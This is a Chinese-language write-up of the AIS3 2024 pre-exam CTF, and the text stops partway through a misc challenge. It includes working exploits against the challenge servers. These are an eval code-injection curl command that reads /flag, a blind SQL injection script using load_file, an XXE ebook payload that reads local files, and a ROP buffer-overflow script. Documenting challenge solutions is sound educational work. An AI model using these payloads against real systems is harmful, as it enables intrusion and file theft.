AIS3 2024 pre-exam writeup

tags: CTF

• AIS3 2024 pre-exam writeup
  • Web
    • Evil Calculator
    • It's MyGO!!!
    • Ebook Parser (賽後解出)
  • Crypto
    • babyRSA
    • easyRSA
    • zkp
  • Reverse
    • The Long Print
    • 火拳のエース
    • Random Checker!<3
  • Pwn
    • Mathter
  • Misc
    • Welcome
    • Quantum Nim Heist
    • Three Dimensional Secret
    • Emoji Console (賽後解出)
    • Hash Guesser (賽後解出)

• author: ywc
• ID: 資安菜雞 ywc

只拿第 12 名 ☹️

🩸 * 1

Web

Evil Calculator

題目是一個 python 寫的計算機，而從題目提示可以看到跟 eval 有關，推測算式應該是透過 eval 的來計算的，預期應該是要透過 eval 開 shell 拿 flag

以下是題目原始碼的關鍵部分，可以看到當 server 收到要計算的請求之後，首先會用 replace 的方法把 expression 欄位中的空格以及 _ 換掉，之後才會如前面所猜測的丟入 eval 進行運算並輸出結果

@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))

而因為一般 pyjail 的 payload 通常都需要用到空白以及 _，在此限制下無法成功地注入，這邊我的解法是把真正的 payload 注入到其他的 HTTP header 例如 User-Agent，而在 expression 欄位的地方則是填入 eval(request.headers.get("User-Agent")) 將 User-Agent 的內容作為要執行的程式碼並執行，這麼一來就可以在規避掉替換的情況下執行到我們想要的 payload，而 payload 的部分就直接用常見的 __import__ payload 就可以了

以下是我用 curl 工具傳送 payload 的指令以及執行結果，可以看到成功取得了 flag

curl -v http://chals1.ais3.org:5001/calculate --data '{"expression":"eval(request.headers.get(\"User-Agent\"))"}' -H "Content-Type: application/json" -H "User-Agent: __import__('subprocess').check_output(['cat', '/flag'])"

經測試其實也可以用 \x5f 的方式來代替需要的 _，像是可以直接在 expression 的地方填入 eval("\x5f\x5fimport\x5f\x5f('subprocess').check\x5foutput(['cat','/flag'])")

按下 = 的按鍵 flag 就會出來

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

It's MyGO!!!

題目是一個 mygo 的介紹頁面，裡面沒有什麼特別的功能，不過在最下方的原創曲介紹部分可以觀察到它的路徑是 /song?id=1 ~ id=4

而可以透過大膽的推測猜到這邊 id 會對應到後端資料庫來查詢相關資訊，而可以推測有可能有 SQL injection 的問題，因此可以嘗試用 or 1=1 -- # 的 payload 來進行測試

可以看到用不存在的 id 加上了 or 1=1 -- # 之後能夠正常的顯示出結果，代表確實存在 SQLi 的漏洞

而後我有進一步先嘗試看看 union based + load_file 的方式想一次就把 flag 的檔案內容讀出來，不過在試 union based 的時候發現一直試不出來，很可能有某些的防禦機制阻擋 union based 的攻擊方式，因此只好改用 error based 的方式一個字一個字來 leak

具體來說，就是透過加一個 boolean expression 並搭配類似 (select substr(load_file('/flag'),1,1)) > 'A' 這樣的方式來讀取檔案並檢查第 x 位置的字元是否比 'A' 的編碼還來的高，是的話預期會出現有資料的頁面而失敗的話就會是沒有資料的頁面，如下兩張圖就分別是成功以及失敗的例子

成功:

失敗:

利用這樣 error based 的方法我們就可以透過修改條件式並搭配 binary search 的方法來快速縮小單一位置的可能字元範圍，縮減到最後找出該位置的字元之後就可以嘗試找出下一個位置的字元，最終就能 leak 出 flag 檔案中所有的字元出來，也就是完整的 flag

以下我撰寫了一個腳本來自動求出 flag

solve.py

import requests
import time

url = "http://chals1.ais3.org:11454/song?id="
# 1 and (select substr(load_file('/flag'),1,1))='A'; -- #
flag = b""
for i in range(len(flag), 62):
    front = 32
    back = 255
    while front <= back:
        j = (front + back) // 2
        payload = f"1 and (select ascii(substr(load_file('/flag'),{i+1},1)))='{j}'; -- %23"
        res = requests.get(url + payload)
        if "No Data" not in res.text:
            flag += bytes([j])
            break
        else:
            payload = f"1 and (select ascii(substr(load_file('/flag'),{i+1},1)))>'{j}'; -- %23"
            res = requests.get(url + payload)
            if "No Data" not in res.text:
                front = j + 1
            else:
                back = j - 1
        print(front, back, j, bytes([j]), flag)
        time.sleep(0.1)
    print(flag)

open("flag.txt", "wb").write(flag)

不過由於這題的 charset 是 unicode，因此如果直接輸出到 shell 會發現有些不在一般 ascii 範圍的字元，而這邊我是直接將內容輸出到檔案並使用 VSCode 自動偵測檔案 encoding 的方式來轉換成 UTF-8，就能正常的顯示出 flag 出來

AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

Ebook Parser (賽後解出)

這題是一個可以上傳 ebook 檔案並做 parsing 的網站

以下是關鍵的原始碼部分

@app.route('/parse', methods=["POST"])
def upload():
    if 'ebook' not in request.files:
        return jsonify({'error': 'No File!'})

    file = request.files['ebook']

    with tempfile.TemporaryDirectory() as directory:
        suffix = pathlib.Path(file.filename).suffix
        fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
        file.save(fp)
        app.logger.info(fp)

        try:
            meta = ebookmeta.get_metadata(fp)
            return jsonify({'message': "\n".join([
                f"Title: {meta.title}",
                f"Author: {meta.author_list_to_string()}",
                f"Lang: {meta.lang}",
            ])})
        except Exception as e:
            print(e)
            return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500

可以看到 parse 的功能是透過 ebookmeta 的 library 來實現的

而在 requirements.txt 的部分可以看到 ebookmeta 的版本指定在 1.2.8 版，不是最新版的 1.2.11，看起來非常的可疑

而在 GitHub 上可以找到這個 issue，裡面提到這個函式庫有 XXE 的漏洞，可以任意讀檔案

因此可以嘗試直接修改 issue 中的 payload，修改後的檔案如下

solve.fb2

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
    <title-info>
        <genre>antique</genre>
        <author><first-name></first-name><last-name>&xxe;</last-name></author>
        <book-title>&xxe;</book-title>
        <lang>&xxe;</lang>
    </title-info>
    <document-info>
        <author><first-name></first-name><last-name>Unknown</last-name></author>
        <program-used>calibre 6.13.0</program-used>
        <date>26.5.2024</date>
        <id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
        <version>1.0</version>
    </document-info>
    <publish-info>
    </publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

上傳後拿到 flag

AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

雖然說是在 ebookmeta 那邊發的 issue，但這其實應該是 lxml 版本過舊的問題，如這邊所述

Crypto

babyRSA

以下是題目原始碼的關鍵部分

def encrypt(pk, plaintext):
    key, n = pk
    cipher = [pow(ord(char), key, n) for char in plaintext]
    return cipher

def decrypt(pk, ciphertext):
    key, n = pk
    plain = [chr(pow(char, key, n)) for char in ciphertext]
    return ''.join(plain)

可以看到雖然 RSA 的相關參數皆是安全的，但是在加解密的部分可以看到他是一個一個字元去做加解密而不是整段訊息，而由於一個字元只有 256 個可能性因此我們可以窮舉所有的字元做加密並與加密過後的密文做比對，找出對應的明文智源是哪一個，而只要一個字元一個字元慢慢去爆破最終即可破解出原來的明文

以下是我的爆破腳本，而開頭 pubkey 及 enc 的部分由於較長在此刪節，基本上就是複製 output.txt 的內容

solve.py

pubkey = ...
enc = ...

import string
dictionary = string.printable.encode()

e, n = pubkey
for c in enc:
    for i in dictionary:
        if pow(i, e, n) == c:
            print(chr(i), end='')
            break
print()

以下是爆破出來的 flag

AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

easyRSA

以下是題目原始碼的節錄部分

easyRSA.py

def generate_keypair(keysize):
    p = getPrime(keysize)
    q = getPrime(keysize)
    n = p * q
    phi = (p-1) * (q-1)
    
    e = random.randrange(1, phi)
    g = gcd(e, phi)
    while g != 1:
        e = random.randrange(1, phi)
        g = gcd(e, phi)
    d = pow(e, -1, phi)
    # for CRT optimize
    dP = d % (p-1)
    dQ = d % (q-1)
    qInvP = pow(q, -1, p)
    return ((e, n), (dP, dQ, qInvP, p, q))

def verify(pk, message: bytes, signature: bytes):
    e, n = pk
    data = bytes_to_long(sha256(message).digest())
    return data == pow(bytes_to_long(signature), e, n)

bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
    dP, dQ, qInvP, p, q = sk
    data = bytes_to_long(sha256(message).digest())
    # use CRT optimize to sign the signature,
    # but there are bugs in my code QAQ
    a = bug()
    mP = pow(data, dP, p) ^ a
    b = bug()
    mQ = pow(data, dQ, q) ^ b
    k = (qInvP * (mP - mQ)) % p
    signature = mQ + k * q
    return long_to_bytes(signature)

if __name__ == "__main__":
    public, private = generate_keypair(512)
    for _ in range(5):
        try:
            option = input("Option: ")
            if int(option) == 1:
                print('My public key:')
                print(f"e, n = {public}")

            elif int(option) == 2:
                message = input("Your message (In Base64 encoded): ")
                message = b64decode(message.encode())
                if b"flag" in message: 
                    print(f"No, I cannot give you the flag!")
                else:
                    signature = sign(private, message)
                    signature = b64encode(signature)
                    print(f"Signature: {signature}")
            
            elif int(option) == 3:
                signature = input("Your signature (In Base64 encoded): ")
                signature = b64decode(signature.encode())
                message = b64encode(b"Give me the flag!")
                if verify(public, message, signature):
                    print(f"Well done! Here is your flag :{flag}")
                else :
                    print("Invalid signature.")

            else:
                print("Bye~~~~~")
                break

可以看到這是一個 RSA 的簽章系統，可以任意進行簽章 (除了不能有 flag 的訊息)，而最終需要傳送 Give me the flag! 訊息對應的簽章給系統驗通過就能拿到 flag，而 server 允許我們執行最多五次的指令

不過在其中簽章的部分有 bug，每次簽章都會將 mP 和 mQ 與一個隨機數做 xor，因此基本上都一定會驗不過，即使是在不限制 flag 字串出現的情況

以下是我的解法，首先可以先將 signature 的公式列出並展開

$$\begin{array}{rl}si{g}_1& =m{Q}_1+k_1\ast q\\ & =m{Q}_1+(q^{-1}\ast (m{P}_1-m{Q}_1)\mathrm{mod}p)\ast q\\ & =(dat{a}^{dQ}\oplus b_1\mathrm{mod}q)+(q^{-1}\ast (m{P}_1-m{Q}_1)\mathrm{mod}p)\ast q\end{array}$$

現在假設我們有另外一個 signature sig2 與 sig1 是拿相同的訊息做簽章，sig2 的公式展開如下

$$\begin{array}{rl}si{g}_2& =(dat{a}^{dQ}\oplus b_2\mathrm{mod}q)+(q^{-1}\ast (m{P}_2-m{Q}_2)\mathrm{mod}p)\ast q\end{array}$$

現在假設剛好兩次簽章產生的

$b_1$,

$b_2$ 皆是相同的而

$a_1$,

$a_2$ 不同 (發生機率大約為 1/256)，也就是

$m{P}_1$ 不同但是

$m{Q}_1$ 相同，因此上面這兩個公式又可以轉換如下

$$\begin{array}{rl}si{g}_1& =(dat{a}^{dQ}\oplus b\mathrm{mod}q)+(q^{-1}\ast (m{P}_1-mQ)\mathrm{mod}p)\ast q\\ si{g}_2& =(dat{a}^{dQ}\oplus b\mathrm{mod}q)+(q^{-1}\ast (m{P}_2-mQ)\mathrm{mod}p)\ast q\end{array}$$

二者相減

$$\begin{array}{rl}si{g}_1-si{g}_2& =(q^{-1}\ast (m{P}_1-m{P}_2)\mathrm{mod}p)\ast q\end{array}$$

可以看到他是一個因數含有 q 的數字，因此只要將該數字與 N 做 GCD 預期就能拿到 q 出來，而有了 q 其餘的 RSA 參數皆可以被計算，我們也就可以任意進行簽章

以下是我的解題腳本，這邊我會先嘗試取得三個同樣訊息的簽章以及公鑰參數，並嘗試找尋符合前面假設的情況，當找到 GCD 不為 1 的情況代表假設符合，後續我就會計算相關的 RSA 參數，進行簽章，並傳送到 server 做驗證

solve.py

from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
import base64
from hashlib import sha256
context.log_level = 'debug'

def gcd(a, b):
    while b:
        a, b = b, a % b
    return a
def sign(sk, message: bytes):
    dP, dQ, qInvP, p, q = sk
    data = bytes_to_long(sha256(message).digest())
    mP = pow(data, dP, p)
    mQ = pow(data, dQ, q)
    k = (qInvP * (mP - mQ)) % p
    signature = mQ + k * q
    return long_to_bytes(signature)

def sendmsg(msg: bytes):
    conn.sendlineafter(b"Option: ", b"2")
    conn.sendlineafter(b"encoded): ", base64.b64encode(msg))
    conn.recvuntil(b"Signature: b'")
    signature = conn.recvuntil(b"'", drop=True)
    return bytes_to_long(base64.b64decode(signature))
def getpubkey():
    conn.sendlineafter(b"Option: ", b"1")
    conn.recvuntil(b"e, n = (")
    e, n = map(int, conn.recvuntil(b")", drop=True).split(b", "))
    return (e, n)
def getflag(sign: bytes):
    conn.sendlineafter(b"Option: ", b"3")
    conn.sendlineafter(b"encoded): ", base64.b64encode(sign))
    return conn.recvline().strip()

while True:
    # conn = process(["python3", "share/easyRSA.py"])
    conn = remote("chals1.ais3.org", 7001)
    sig1 = sendmsg(b"hello")
    sig2 = sendmsg(b"hello")
    sig3 = sendmsg(b"hello")
    e, n = getpubkey()
    q1 = gcd(sig1 - sig2, n)
    q2 = gcd(sig2 - sig3, n)
    q3 = gcd(sig1 - sig3, n)
    if q1 == 1 and q2 == 1 and q3 == 1:
        conn.close()
        continue

    if q1 != 1:
        p = n // q1
        q = q1
    elif q2 != 1:
        p = n // q2
        q = q2
    else:
        p = n // q3
        q = q3
    print(f"p = {p} q = {q} ")
    assert p * q == n
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)

    dP = d % (p-1)
    dQ = d % (q-1)
    qInvP = pow(q, -1, p)
    sk = (dP, dQ, qInvP, p, q)

    flag = b"Give me the flag!"
    getflag(sign(sk, base64.b64encode(flag)))
    conn.interactive()
    break

執行後可以取得 flag

AIS3{IJustWantItFasterQAQ}

zkp

題目原始碼節錄如下

zkp.py

def gen_prime(n):
    while True:
        p = 1
        while p < (1 << (n - 1)) :
            p *= getPrime(5)
        p = p * 2 + 1
        if isPrime(p): break
    return p

def zkp_protocol(p, g, sk):
    # y = pow(g, sk, p) 
    r = random.randrange(p-1)
    a = pow(g, r, p)
    print(f'a = {a}')
    print('Give me the challenge')
    try:
        c = int(input('c = '))
        w = (c * sk + r) % (p-1)
        print(f'w = {w}')
        # you can verify I know the flag with 
        # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)
    except:
        print('Invalid input.')

if __name__ == "__main__":
    # p is generated by gen_prime(1024)
    g = 5
    y = pow(g, bytes_to_long(flag), p)
    for _ in range(3):
        try:
            option = input("Option: ")
            if int(option) == 1:
                print('My public key:')
                print(f'p = {p}')
                print(f'g = {g}')
                print(f'y = {y}')

            elif int(option) == 2:
                zkp_protocol(p, g, bytes_to_long(flag))
            
            else:
                print("Bye~~~~~")
                break
        except:
            print("Something wrong?")
            exit()

從程式碼中可以看到這一題是一個 DLP 問題，不過在生成質數的地方有點問題，他的質數是一堆小質數相乘後再加一，也就是所謂的 p-1 平滑

而由於他 p-1 平滑的特性，可以利用 Pohlig-Hellman 算法來快速的計算 DLP (這也是 sagemath discrete_log 的預設算法)，以下是計算的腳本，p, y, g 參數可透過使用題目程式的選項 1 來獲得

from sage.all import *
from Crypto.Util.number import long_to_bytes

p = ...
y = ...
g = ...

K = GF(p)
sage_y = K(y)
sage_g = K(g)
ans = discrete_log(sage_y, sage_g)
print(long_to_bytes(ans))

執行後可拿到 flag

AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

Reverse

The Long Print

以下是將程式用 ghidra 反編譯後的結果，可以看到程式會將 key 和 secret 每個字元做 xor 運算後輸出，而每次印出會睡眠 0x3647 秒暫停執行

而一個簡單的做法是將暫停的秒數 patch 掉，比如 patch 成 0 讓他不進入睡眠，不過執行下去後會發現 flag 沒有印出來，而我推測可能是最後 puts 的開頭 \r 動的手腳

因此我直接使用 gdb 下中斷，中斷在 puts 函式執行前的地方 (也就是 0x1282) 的位置，執行下去會發現 flag 確實被印出

AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース

以下是將程式用 IDA 反編譯後的結果

可以看到首先程式會先呼叫 print_flag 函式，而後會要求輸入 32 個字元，並將這些字元與程式內的字串 (雖然 IDA 的反組譯結果有點問題，這一點可以用 ghidra 來輔助確認) 做 xor 操作後丟入 complex_function 做運算，而後會將運算完的字串與程式中指定的字串做比較是否相同

以下是 print_flag 的反組譯程式碼，可以看到基本上就是慢慢的一個字元一個字元印出 flag 的開頭部分

以下是 xor_string 的反組譯程式碼，雖然看起來有點複雜，但是就真的是將兩個字串的每個字元做 xor 的操作而已

而 complex_function 的部分如下，首先在開頭部分會檢查輸入的字元範圍，而後面就是一些奇特的運算

而總體來看，這些運算都只是針對各個字元做運算，因此一個想法就是我們不要直接去逆 complex_function，而是嘗試爆搜單一字元的方式來找正確的字元出來，而將全部的字元都爆搜出來之後就能得到正確的 flag

以下是我的解題腳本

solve.py

from pwn import xor
import string
def complex_function(a1: int, a2: int) -> int:
    assert 65 <= a1 <= 90
    v8 = (17 * a2 + a1 - 65) % 26
    v7 = a2 % 3 + 3
    v2 = a2 % 3
    if ( a2 % 3 == 2 ):
        v8 = (v8 - v7 + 26) % 26
    elif ( v2 <= 2 ):
        if ( v2 != 0 ):
            if ( v2 == 1 ):
                v8 = (2 * v7 + v8) % 26
        else:
            v8 = (v7 * v8 + 7) % 26
    return v8 + 65

xors = [
    b"\x0e\x0d\x7d\x06\x0f\x17\x76\x04",
    b"\x6d\x00\x1b\x7c\x6c\x13\x62\x11",
    b"\x1e\x7e\x06\x13\x07\x66\x0e\x71",
    b"\x17\x14\x1d\x70\x79\x67\x74\x33"
]
target =[
    b"DHLIYJEG",
    b"MZRERYND",
    b"RUYODBAH",
    b"BKEMPBRE"
]

xxxs = b""
flag = b"AIS3{G0D"
flags = [
    b"", b"", b"", b""
]
characters = string.printable.encode()
for i in range(8):
    for j in range(4):
        found = False
        for c in characters:
            xxx = c ^ xors[j][i]
            if (xxx < 65 or xxx > 90):
                continue
            num = complex_function(xxx, i + 32 * j)
            if num == target[j][i]:
                flags[j] += bytes([c])
                xxxs += bytes([xxx])
                found = True
                break
        if not found:
            flag += b"?"
        # print(i, j, flag)
print(flag + flags[0] + flags[1] + flags[2] + flags[3])

執行腳本後可以拿到 flag

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

Random Checker!<3

題目檔案主要包含兩部分，一個是 userspace 的 Checker.exe，一個是 driver 的 Driver.sys

以下為將 Checker.exe 程式用 IDA 分析後的反編譯程式碼的節錄，二程式碼中間部份似乎不會執行到因此在此不做分析

可以看到上半部分主要是讓使用者輸入，並執行一個 40 次的迴圈，迴圈中首先用 random 的方式計算出當前迴圈 i 的值，而在下面部分就會將輸入以及 i 傳送到 driver 並取得結果，並檢查結果是否為 0，而最後做完 40 次迴圈之後就會檢查剛才 40 次的傳送結果看是否剛好是 35 次結果為 0 (亦即 5 次非 0)，如果是的話就代表輸入的是正確的 flag

而 sendtodriver 的程式碼節錄如下，基本上就是用 DeviceIoControl 的 windows API 傳送給 driver 而已，而可以看到 i 的部分會先加上 0x88000 並乘上 4 之後填入 dwIoControlCode 的欄位中，其他沒有特別的部分

而以下是 driver.sys 用 IDA 分析過後的反組譯程式碼，可以看到 DriverEntry 主要有使用兩個函式

第一個函式的部分如下，基本上就是一些 windows 常見的 security cookie 的東西，不重要

而第二個函式首先會建立 driver，並會設定一些像是 callback 的東西，而後會印出 debug message

實際查看這些 callback 後，可以在 sub_1400010A0 這個 callback (最後的那個) 發現一些有趣的東西，如下所示

可以看到這段程式碼會將 dwIoControlCode 作為條件執行各個檢查，每個檢查會將輸入的字串的某幾個特定位置的字元加起來確認是否等於一個特定的數字，是的話就會回傳一非 0 數否則回傳 0

而看到這邊基本上可以知道 flag 會滿足這 40 個判斷式中的 35 個，也就是說有 5 個是不符合的，只要挑出不符合的，其餘判斷式就可以用像是 z3 這種工具來求解出來找出滿足條件的 flag

一個想法是說我們可以使用 itertools 工具來自動列舉所有可能的 5 組組合來作為要篩掉的條件式，再搭配 z3 來試試看有沒有解，但是

$C_5^{40}=658008$ 算是一個有點大的數字，如果直接爆搜會花上不少時間，因此是必須要先用人工進行篩選

以下是我初步篩選出不合理的條件式

flag[16] + flag[3] + flag[11] + flag[15] + flag[22] == 670
flag[0] + flag[2] + flag[4] + 2 * flag[31] == 499
flag[0] + flag[2] + flag[3] + flag[4] + flag[5] == 500

第一個條件式不符合的原因是 5 個 ascii 最大總和

$127\times 5=635$ 比 670 來得小，因此總和必定不會到達 670 這個數

而第二第三個條件是不符合的原因是我拿 flag 的固定開頭 AIS3{ 和結尾 } 來驗證，發現第二個條件式的總合為 521 並非 499，而第三個條件式則是發現要滿足的話 flag[5] 必須為 178，超出 ascii 範圍，因此二條件式必不成立

因此現在運算複雜度變成了

$C_2^{37}=666$ 太六了，降低非常多，可以直接使用 itertools 來自動找出不合理的條件式

以下是我的解題腳本，中間的一些被註解掉的條件式是因為有些條件式中的算式有點怪怪的，我懷疑我可能理解錯因此暫時註解掉不使用這些條件作約束，不過實際上不加這些約束好像也影響不大

solve.py

from z3 import *
from itertools import combinations
from tqdm import tqdm

s = Solver()
for choose in tqdm(combinations(range(32), 2)):
    
    flag = [BitVec(f'flag_{i}', 8) for i in range(32)]
    s.add(flag[0] == ord('A'))
    s.add(flag[1] == ord('I'))
    s.add(flag[2] == ord('S'))
    s.add(flag[3] == ord('3'))
    s.add(flag[4] == ord('{'))
    s.add(flag[31] == ord('}'))
    for i in range(5, 31):
        s.add(flag[i] >= 0x20)
        s.add(flag[i] <= 0x7f)

    if 0 not in choose:
        s.add(flag[5] + flag[14] + flag[26] + flag[20] + flag[28] == 331)
    if 1 not in choose:
        s.add(flag[12] + flag[18] + flag[19] + flag[14] + flag[30] == 395)
    if 2 not in choose:
        s.add(flag[2] + flag[4] + flag[11] + flag[12] + flag[28] == 449)
    if 3 not in choose:
        s.add(flag[24] + flag[13] + flag[15] + flag[21] + flag[31] == 473)
    if 4 not in choose:
        s.add(flag[2] + flag[4] + flag[5] + flag[28] + flag[29] == 420)
    if 5 not in choose:
        s.add(flag[4] + flag[12] + flag[18] + flag[14] + flag[20] == 427)
    if 6 not in choose:
        s.add(flag[3] + flag[12] + flag[7] + flag[27] + flag[23] == 417)
    if 7 not in choose:
        s.add(flag[1] + flag[3] + flag[5] + flag[6] + flag[28] == 401)
    if 8 not in choose:
        s.add(flag[2] + flag[11] + flag[7] + flag[21] + flag[27] == 351)
    if 9 not in choose:
        s.add(flag[4] + flag[5] + flag[17] + flag[29] + flag[31] == 471)
    if 10 not in choose:
        s.add(flag[1] + flag[3] + flag[21] + flag[27] + flag[22] == 341)
    if 11 not in choose:
        s.add(flag[0] + flag[9] + flag[25] + flag[13] + flag[22] == 400)
    if 12 not in choose:
        s.add(flag[24] + flag[3] + flag[25] + flag[15] + flag[21] == 379)
    if 13 not in choose:
        s.add(flag[16] + flag[24] + flag[8] + flag[25] + flag[23] == 421)
    if 14 not in choose:
        s.add(flag[24] + flag[12] + flag[19] + flag[27] + flag[31] == 312)
    if 15 not in choose:
        s.add(flag[16] + flag[1] + flag[5] + flag[19] + flag[20] == 431)
    if 16 not in choose:
        s.add(flag[12] + flag[20] + flag[15] + flag[29] + flag[30] == 392)
    if 17 not in choose:
        s.add(flag[16] + flag[0] + flag[4] + flag[20] + flag[30] == 400)
    if 18 not in choose:
        s.add(flag[5] + flag[12] + flag[25] + flag[13] + flag[31] == 494)
    if 19 not in choose:
        s.add(flag[8] + flag[5] + flag[17] + flag[26] + flag[30] == 345)
    if 20 not in choose:
        s.add(flag[8] + flag[0] + flag[3] + flag[12] + flag[25] == 378)
    if 21 not in choose:
        s.add(flag[9] + flag[10] + flag[11] + flag[18] + flag[20] == 380)
    if 22 not in choose:
        s.add(flag[3] + flag[11] + flag[18] + flag[6] + flag[30] == 338)
    if 23 not in choose:
        s.add(flag[2] + flag[18] + flag[14] + flag[20] + flag[27] == 355)
    if 24 not in choose:
        s.add(flag[8] + flag[2] + flag[6] + flag[27] + flag[28] == 430)
    if 25 not in choose:
        s.add(flag[16] + flag[3] + flag[20] + flag[22] + flag[30] == 350)
    if 26 not in choose:
        s.add(flag[8] + flag[3] + flag[7] + flag[21] + flag[23] == 342)
    if 27 not in choose:
        s.add(flag[16] + flag[25] + flag[21] + flag[28] + flag[30] == 345)
    if 28 not in choose:
        s.add(flag[16] + flag[12] + flag[19] + flag[7] + flag[20] == 474)
    if 29 not in choose:
        s.add(flag[2] + flag[3] + flag[14] + flag[21] + flag[22] == 318)
    if 30 not in choose:
        s.add(flag[25] + flag[19] + flag[13] + flag[27] + flag[31] == 487)
    if 31 not in choose:
        s.add(flag[16] + flag[3] + flag[5] + flag[12] + flag[22] == 432)
    # if 32 not in choose:
    #     s.add(flag[0] + flag[3] + flag[9] + flag[4] + flag[31] == 442)
    # if 33 not in choose:
    #     s.add(flag[2] + flag[3] + flag[4] + flag[25] + flag[19] == 442)
    # if 34 not in choose:
    #     s.add(flag[1] + flag[4] + flag[26] + flag[15] + flag[23] == 324)
    # if 35 not in choose:
    #     s.add(flag[3] + flag[10] + flag[7] + flag[27] + flag[31] == 499)
    # if 36 not in choose:
    #     s.add(flag[3] + flag[4] + flag[11] + flag[26] + flag[21] == 324)

    status = s.check()
    if status == sat:
        print(status, choose)
        m = s.model()
        print(''.join([chr(m[flag[i]].as_long()) for i in range(32)]))
        break

    s.reset()

而最終發現第 0 項及第 14 項的條件式是錯的，而腳本也幫我們算出了正確的 flag

綜合以上，錯誤的條件式是這 5 個

flag[16] + flag[3] + flag[11] + flag[15] + flag[22] == 670
flag[0] + flag[2] + flag[4] + 2 * flag[31] == 499
flag[0] + flag[2] + flag[3] + flag[4] + flag[5] == 500
flag[5] + flag[14] + flag[26] + flag[20] + flag[28] == 331
flag[24] + flag[12] + flag[19] + flag[27] + flag[31] == 312

AIS3{UrWINn3r_1n_WInD0WS_K3RN31}

Pwn

Mathter

以下是將程式用 ghidra 反編譯的結果

在 main 函式中，主要有一個迴圈不斷執行 calculator 以及一個 goodbye 函式

calculator 函式基本上就是在做計算機的相關功能，直到遇到輸入 q 結束，這邊沒有什麼特別的

而在 goodbye 的部分，可以看到會確認是否真的要結束程式，而可以看到在輸入的部分使用 gets 函式，有 stack overflow 的問題

另外可以發現到程式中有 win1 以及 win2 這兩個函式，而他們分別可以幫我們 leak 出 flag 的一部分，不過各自需要帶入 0xdeadbeef 以及 0xcafebabe 的參數進去

以下是該 binary 的相關資訊，可以看到他是一個 static linking 的 x8664 little endian 執行檔，並且可以看到沒有開 PIE 保護，而 Canary 的部分應該是在 library 的函式才有啟用，goodbye 函式的部分沒有

因此基本上解題的思路就是先在 calculator 函式輸入 q 結束後進入 goodbye 函式，並在該函式中 stack overflow，進而透過 ROP 的方式設定好參數並分別呼叫 win1 及 win2 將 flag 內容讀出

以下是我的解題腳本，其中的相關記憶體位置我是用 ROPgadget 以及 readelf 工具得知

exploit.py

from pwn import *
binary = "./share/mathter"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

pop_rdi = 0x402540
win1 = 0x4018c5
win2 = 0x401997

chain = flat([
    pop_rdi,
    0xdeadbeef,
    win1,
    pop_rdi,
    0xcafebabe,
    win2
])

conn = remote("chals1.ais3.org", 50001)
# conn = process(binary)
# conn = gdb.debug(binary)
conn.sendlineafter(b"1 + 1) :", b"q")
conn.sendlineafter(b"[Y/n]", b"A"*12 + chain)
conn.interactive()

腳本執行後，可以發現有成功的將 flag leak 出

而可以看到 leak 出的兩段 flag 有部分重疊，因此只要將重複的部分去除即可拿到真正的 flag

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

Misc

Welcome

flag 在題目說明

AIS3{Welc0me_to_AIS3_PreExam_2o24!}

Quantum Nim Heist

這題題目是一個類似取石頭的遊戲，玩家和 AI 對戰，取到最後一個石頭的人獲勝

以下是題目的原始碼節錄部分

server.py

def play(game: Game):
    ai_player = AIPlayer()
    win = False

    while not game.ended():
        game.show()
        print_game_menu()
        choice = input('it\'s your turn to move! what do you choose? ').strip()

        if choice == '0':
            pile = int(input('which pile do you choose? '))
            count = int(input('how many stones do you remove? '))
            if not game.make_move(pile, count):
                print_error('that is not a valid move!')
                continue

        elif choice == '1':
            game_str = game.save()
            digest = hash.hexdigest(game_str.encode())
            print('you game has been saved! here is your saved game:')
            print(game_str + ':' + digest)
            return

        elif choice == '2':
            break

        # no move -> player wins!
        if game.ended():
            win = True
            break
        else:
            print_move('you', count, pile)
            game.show()

        # the AI plays a move
        pile, count = ai_player.get_move(game)
        assert game.make_move(pile, count)
        print_move('i', count, pile)

    if win:
        print_flag(flag)
        exit(0)
    else:
        print_lose()

def menu():
    print_main_menu()
    choice = input('what would you like to do? ').strip()

    if choice == '0':
        print_rules()

    elif choice == '1':
        game = Game()
        game.generate_losing_game()
        play(game)

    elif choice == '2':
        saved = input('enter the saved game: ').strip()
        game_str, digest = saved.split(':')
        if hash.hexdigest(game_str.encode()) == digest:
            game = Game()
            game.load(game_str)
            play(game)
        else:
            print_error('invalid game provided!')

    elif choice == '3':
        print('omg bye!')
        exit(0)

可以看到除了創建遊戲之外，還可以做儲存遊戲及載入的行為，而在創建部分基本上會是創建一個玩家必輸的棋局，因此一種解法可能是要想辦法偽造遊戲進度並進行載入，不過後面這部分是用一些密碼學的東西，而這邊的類別是 misc，因此可能不是最好的解法

而再仔細觀察原始碼的部分，可以發現到遊戲過程中沒有對不合法的選項進行檢查，因此只要輸入一個不合法的選項 (e.g. 3) 就可以在玩家回合跳過

